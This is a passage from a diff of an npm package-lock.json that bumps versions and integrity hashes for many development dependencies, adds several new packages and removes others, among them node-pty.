"sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", - "license": "MIT" - }, - "node_modules/lodash.debounce": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", - "dev": true - }, - "node_modules/lodash.get": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", - "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", "dev": true, "license": "MIT" }, @@ -6990,7 +7330,6 @@ "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", "dev": true, - "license": "MIT", "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", @@ -7005,28 +7344,11 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/log-update/node_modules/ansi-escapes": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.0.0.tgz", - "integrity": "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw==", - "dev": true, - "license": "MIT", - "dependencies": { - "environment": "^1.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/log-update/node_modules/ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "dev": true, - "license": "MIT", "engines": { "node": ">=12" }, @@ -7035,11 +7357,10 @@ } }, "node_modules/log-update/node_modules/ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true, - "license": "MIT", "engines": { "node": ">=12" }, @@ -7047,21 +7368,13 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/log-update/node_modules/emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", - "dev": true, - "license": "MIT" - }, "node_modules/log-update/node_modules/is-fullwidth-code-point": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.0.0.tgz", - "integrity": "sha512-OVa3u9kkBbw7b8Xw5F9P+D/T9X+Z4+JruYVNapTjPYZYUznQ5YfWeFkOj606XYYW8yugTfC8Pj0hYqvi4ryAhA==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", "dev": true, - "license": "MIT", "dependencies": { - "get-east-asian-width": "^1.0.0" + "get-east-asian-width": "^1.3.1" }, "engines": { "node": ">=18" @@ -7071,11 +7384,10 @@ } }, "node_modules/log-update/node_modules/slice-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.0.tgz", - "integrity": "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", "dev": true, - "license": "MIT", "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" @@ -7087,30 +7399,11 @@ "url": "https://github.com/chalk/slice-ansi?sponsor=1" } }, - "node_modules/log-update/node_modules/string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/log-update/node_modules/strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, - "license": "MIT", "dependencies": { "ansi-regex": "^6.0.1" }, @@ -7121,22 +7414,22 @@ "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, - "node_modules/log-update/node_modules/wrap-ansi": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.0.tgz", - "integrity": "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q==", + "node_modules/logform": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", + "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", "dev": true, "license": "MIT", "dependencies": { - "ansi-styles": "^6.2.1", - "string-width": "^7.0.0", - "strip-ansi": "^7.1.0" + "@colors/colors": "1.6.0", + "@types/triple-beam": "^1.3.2", + "fecha": "^4.2.0", + "ms": "^2.1.1", + "safe-stable-stringify": "^2.3.1", + "triple-beam": "^1.3.0" }, "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + "node": ">= 12.0.0" } }, "node_modules/loupe": { @@ -7149,6 +7442,16 @@ "get-func-name": "^2.0.1" } }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, "node_modules/lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", @@ -7176,6 +7479,7 @@ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", "dev": true, + "license": "MIT", "dependencies": { "semver": "^7.5.3" }, @@ -7354,12 +7658,12 @@ } }, "node_modules/meow": { - "version": "13.2.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-13.2.0.tgz", - "integrity": "sha512-pxQJQzB6djGPXh08dacEloMFopsOqGVRKFPYvPOt9XDZ1HasbgDZA74CJGreSU4G3Ak7EFJGoiH2auq+yXISgA==", + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-14.0.0.tgz", + "integrity": "sha512-JhC3R1f6dbspVtmF3vKjAWz1EVIvwFrGGPLSdU6rK79xBwHWTuHoLnRX/t1/zHS1Ch1Y2UtIrih7DAHuH9JFJA==", "dev": true, "engines": { - "node": ">=18" + "node": ">=20" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -7661,9 +7965,9 @@ "optional": true }, "node_modules/mocha": { - "version": "11.7.1", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.1.tgz", - "integrity": "sha512-5EK+Cty6KheMS/YLPPMJC64g5V61gIR25KsRItHw6x4hEKT6Njp1n9LOlH4gpevuwMVS66SXaBBpg+RWZkza4A==", + "version": "11.7.4", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.4.tgz", + "integrity": "sha512-1jYAaY8x0kAZ0XszLWu14pzsf4KV740Gld4HXkhNTXwcHx4AUEDkPzgEHg9CM5dVcW+zv036tjpsEbLraPJj4w==", "dev": true, "dependencies": { "browser-stdout": "^1.3.1", @@ -7674,6 +7978,7 @@ "find-up": "^5.0.0", "glob": "^10.4.5", "he": "^1.2.0", + "is-path-inside": "^3.0.3", "js-yaml": "^4.1.0", "log-symbols": "^4.1.0", "minimatch": "^9.0.5", @@ -7721,6 +8026,16 @@ "url": "https://paulmillr.com/funding/" } }, + "node_modules/mocha/node_modules/diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, "node_modules/mocha/node_modules/glob": { "version": "10.4.5", "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", @@ -7811,17 +8126,17 @@ "dev": true }, "node_modules/nan": { - "version": "2.19.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.19.0.tgz", - "integrity": "sha512-nO1xXxfh/RWNxfd/XPfbIfFk5vgLsAxUR9y5O0cHMJu/AW9U95JLXqthYHjEp+8gQ5p96K9jUp8nbVOxCdRbtw==", - "dev": true + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", + "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "dev": true, + "license": "MIT" }, "node_modules/nano-spawn": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-1.0.2.tgz", - "integrity": "sha512-21t+ozMQDAL/UGgQVBbZ/xXvNO10++ZPuTmKRO8k9V3AClVRht49ahtDjfY8l1q6nSHOrE5ASfthzH3ol6R/hg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-2.0.0.tgz", + "integrity": "sha512-tacvGzUY5o2D8CBh2rrwxyNojUsZNU2zjNTzKQrkgGJQTbGAfArVWXSKMBokBeeg6C7OLRGUEyoFlYbfeWQIqw==", "dev": true, - "license": "MIT", "engines": { "node": ">=20.17" }, @@ -7842,6 +8157,16 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, + "node_modules/neatequal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/neatequal/-/neatequal-1.0.0.tgz", + "integrity": "sha512-sVt5awO4a4w24QmAthdrCPiVRW3naB8FGLdyadin01BH+6BzNPEBwGrpwCczQvPlULS6uXTItTe1PJ5P0kYm7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "varstream": "^0.3.2" + } + }, "node_modules/negotiator": { "version": "0.6.4", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", @@ -7866,6 +8191,17 @@ "dev": true, "license": "ISC" }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, "node_modules/node-abi": { "version": "3.45.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.45.0.tgz", @@ -7918,6 +8254,7 @@ "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Glob versions prior to v9 are no longer supported", "dev": true, + "license": "ISC", "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -7933,27 +8270,17 @@ "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", - "dev": true, - "hasInstallScript": true, - "dependencies": { - "nan": "^2.17.0" - } - }, "node_modules/node-sarif-builder": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-2.0.3.tgz", - "integrity": "sha512-Pzr3rol8fvhG/oJjIq2NTVB0vmdNNlz22FENhhPojYRZ4/ee08CfK4YuKmuL54V9MLhI1kpzxfOJ/63LzmZzDg==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.2.0.tgz", + "integrity": "sha512-kVIOdynrF2CRodHZeP/97Rh1syTUHBNiw17hUCIVhlhEsWlfJm19MuO56s4MdKbr22xWx6mzMnNAgXzVlIYM9Q==", "dev": true, "dependencies": { - "@types/sarif": "^2.1.4", - "fs-extra": "^10.0.0" + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" }, "engines": { - "node": ">=14" + "node": ">=18" } }, "node_modules/nopt": { @@ -8092,6 +8419,16 @@ "wrappy": "1" } }, + "node_modules/one-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", + "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fn.name": "1.x.x" + } + }, "node_modules/onetime": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", @@ -8329,6 +8666,17 @@ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", "dev": true }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -8342,31 +8690,29 @@ } }, "node_modules/parse-json": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-7.1.1.tgz", - "integrity": "sha512-SgOTCX/EZXtZxBE5eJ97P4yGM5n37BwRU+YMsH4vNzFqJV/oWFXXCmwFlgWUM4PrakybVOueJJ6pwHqSVhTFDw==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", "dev": true, "dependencies": { - "@babel/code-frame": "^7.21.4", - "error-ex": "^1.3.2", - "json-parse-even-better-errors": "^3.0.0", - "lines-and-columns": "^2.0.3", - "type-fest": "^3.8.0" + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" }, "engines": { - "node": ">=16" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/parse-json/node_modules/type-fest": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-3.13.1.tgz", - "integrity": "sha512-tLq3bSNx+xSpwvAJnzrK0Ep5CLNWjvFTOp71URMaAEWBfRb9nnJiBoUe0tF8bI4ZFO3omgBR6NvnbzVUT3Ly4g==", + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", "dev": true, "engines": { - "node": ">=14.16" + "node": ">=16" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -8405,6 +8751,28 @@ "parse5": "^6.0.1" } }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz", + "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -8613,6 +8981,18 @@ "node": ">= 0.8.0" } }, + "node_modules/presentable-error": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/presentable-error/-/presentable-error-0.0.1.tgz", + "integrity": "sha512-E6rsNU1QNJgB3sjj7OANinGncFKuK+164sLXw1/CqBjj/EkXSoSdHCtWQGBNlREIGLnL7IEUEGa08YFVUbrhVg==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/prettier": { "version": "3.6.2", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", @@ -8726,6 +9106,13 @@ } ] }, + "node_modules/rambda": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/rambda/-/rambda-7.5.0.tgz", + "integrity": "sha512-y/M9weqWAH4iopRd7EHDEQQvpFPHj1AA3oHozE9tfITHUtTR7Z9PSlIRRG2l1GuW7sefC1cXFfIcF+cgnShdBA==", + "dev": true, + "license": "MIT" + }, "node_modules/randombytes": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", @@ -8786,18 +9173,19 @@ } }, "node_modules/read-pkg": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-8.1.0.tgz", - "integrity": "sha512-PORM8AgzXeskHO/WEv312k9U03B8K9JSiWF/8N9sUuFjBa+9SF2u6K7VClzXwDXab51jCd8Nd36CNM+zR97ScQ==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", "dev": true, "dependencies": { - "@types/normalize-package-data": "^2.4.1", + "@types/normalize-package-data": "^2.4.3", "normalize-package-data": "^6.0.0", - "parse-json": "^7.0.0", - "type-fest": "^4.2.0" + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" }, "engines": { - "node": ">=16" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -8815,6 +9203,18 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/read-pkg/node_modules/unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/readable-stream": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", @@ -8954,8 +9354,9 @@ "node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", "dev": true, + "license": "MIT", "engines": { "node": ">=0.10.0" } @@ -9027,8 +9428,7 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", - "dev": true, - "license": "MIT" + "dev": true }, "node_modules/rimraf": { "version": "3.0.2", @@ -9046,16 +9446,17 @@ } }, "node_modules/rimraf/node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", "deprecated": "Glob versions prior to v9 are no longer supported", "dev": true, + "license": "ISC", "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^3.1.1", + "minimatch": "^3.0.4", "once": "^1.3.0", "path-is-absolute": "^1.0.0" }, @@ -9107,6 +9508,16 @@ } ] }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, "node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", @@ -9122,18 +9533,18 @@ "license": "ISC" }, "node_modules/secretlint": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.1.1.tgz", - "integrity": "sha512-q50i+I9w6HH8P6o34LVq6M3hm5GZn2Eq5lYGHkEByOAbVqBHn8gsMGgyxjP1xSrSv1QjDtjxs/zKPm6JtkNzGw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz", + "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==", "dev": true, "dependencies": { - "@secretlint/config-creator": "^10.1.1", - "@secretlint/formatter": "^10.1.1", - "@secretlint/node": "^10.1.1", - "@secretlint/profiler": "^10.1.1", + "@secretlint/config-creator": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/node": "^10.2.2", + "@secretlint/profiler": "^10.2.2", "debug": "^4.4.1", "globby": "^14.1.0", - "read-pkg": "^8.1.0" + "read-pkg": "^9.0.1" }, "bin": { "secretlint": "bin/secretlint.js" @@ -9164,10 +9575,9 @@ "license": "MIT" }, "node_modules/semver": { - "version": "7.7.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", - "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", - "license": "ISC", + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", "bin": { "semver": "bin/semver.js" }, @@ -9175,6 +9585,18 @@ "node": ">=10" } }, + "node_modules/sentence-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz", + "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" + } + }, "node_modules/serialize-javascript": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", @@ -9311,11 +9733,10 @@ } }, "node_modules/simple-git": { - "version": "3.28.0", - "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.28.0.tgz", - "integrity": "sha512-Rs/vQRwsn1ILH1oBUy8NucJlXmnnLeLCfcvbSehkPzbv3wwoFWIdtfd6Ndo6ZPhlPsCZ60CPI4rxurnwAa+a2w==", + "version": "3.30.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.30.0.tgz", + "integrity": "sha512-q6lxyDsCmEal/MEGhP1aVyQ3oxnagGlBDOVSIB4XUVLl1iZh0Pah6ebC9V4xBap/RfgP2WlI8EKs0WS0rMEJHg==", "dev": true, - "license": "MIT", "dependencies": { "@kwsites/file-exists": "^1.1.1", "@kwsites/promise-deferred": "^1.1.1", @@ -9355,12 +9776,22 @@ "sinon": ">=4.0.0" } }, - "node_modules/slash": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", - "integrity": 